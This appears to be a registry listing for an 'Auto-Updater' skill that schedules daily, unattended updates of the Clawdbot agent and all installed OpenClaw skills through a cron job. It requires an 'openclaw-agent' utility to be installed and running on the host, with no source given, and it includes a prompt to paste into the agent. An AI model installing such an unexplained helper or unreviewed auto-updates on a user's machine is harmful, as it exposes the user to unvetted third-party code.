The Auto-Updater skill ensures your AI environment stays current by automatically updating Clawdbot and all installed Openclaw Skills once per day.
Install & Download
1. ClawHub CLI
The fastest way to install a skill directly from the registry.
npx clawhub@latest install auto-updater-m0fsa
2. Manual Installation
Copy the skill folder to one of these locations
~/.openclaw/skills/ <project>/skills/ Priority: Workspace > Local > Bundled
3. Prompt Installation
Copy this prompt to OpenClaw to install it automatically.
Help me install auto-updater-m0fsa using Clawhub. If Clawhub is not installed, install it first (npm i -g clawhub).
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What is Auto-Updater?
The Auto-Updater is a critical maintenance skill designed to automate the lifecycle of your AI agent environment. By scheduling recurring tasks through cron, it removes the manual effort required to track releases and apply updates to core components and third-party Openclaw Skills. This ensures that you always have access to the latest features, bug fixes, and security patches without manual intervention.
Beyond simple updates, the skill acts as a health monitor for your setup. It utilizes the openclaw-agent utility to perform safe updates across different operating systems and provides a comprehensive report of changes. By maintaining a consistent update schedule, users can ensure their library of Openclaw Skills remains compatible with the latest agent protocols.
Auto-Updater Use Cases
- Automating the version management of a large library of Openclaw Skills.
- Maintaining a production-grade AI agent environment with zero manual maintenance overhead.
- Consolidating update logs into a single daily summary for better environment visibility.
- Ensuring system-wide migrations are applied immediately following a core agent update.
How Auto-Updater Works
- The skill registers a daily cron job within the agent's scheduling system, typically set for early morning hours.
- Upon execution, the skill first triggers an update check for the core Clawdbot package to apply the latest binary improvements.
- It then queries the registry for all installed Openclaw Skills to identify available version increments.
- The update process is executed via the openclaw-agent, which handles file system operations and dependency resolution.
- Once the updates are complete, the skill compiles a detailed summary message including version jumps and status for every skill.
- The final report is delivered to the user's preferred communication session for review.
Auto-Updater Setup
Before beginning, ensure the openclaw-agent utility is installed and running on your host system as it is required for all Openclaw Skills that manage updates. To configure the daily schedule, you can ask the agent: "Set up daily auto-updates for yourself and all your skills." Alternatively, you can manually add the cron job via the CLI:
clawdbot cron add \
--name "Daily Auto-Update" \
--cron "0 4 * * *" \
--tz "America/Los_Angeles" \
--session isolated \
--wake now \
--deliver \
--message "Run daily auto-updates: check for Clawdbot updates and update all skills. Report what was updated."
Auto-Updater Data Schema & Taxonomy
The Auto-Updater organizes maintenance data and update history to provide clear reporting on the state of your Openclaw Skills.
| Attribute | Description |
|---|---|
| Update Summary | A structured report showing old vs. new version strings for all Openclaw Skills. |
| Cron Configuration | Metadata defining frequency, timezone, and execution context for the update job. |
| Agent Status | Real-time connectivity status of the required openclaw-agent service. |
| Migration Logs | Output from the doctor utility documenting successful database or config migrations. |
Auto-Updater Advanced Features
- Dry-run mode allows users to check for available updates to their Openclaw Skills without applying changes.
- Isolated session execution ensures that background updates do not interfere with active user prompts or workflows.
- Cross-platform support for Windows, macOS, and Linux via specialized execution scripts.
- Configurable delivery targets allow update summaries to be sent to specific channels or sessions.
- Automatic execution of the doctor utility to ensure environment stability after core updates.
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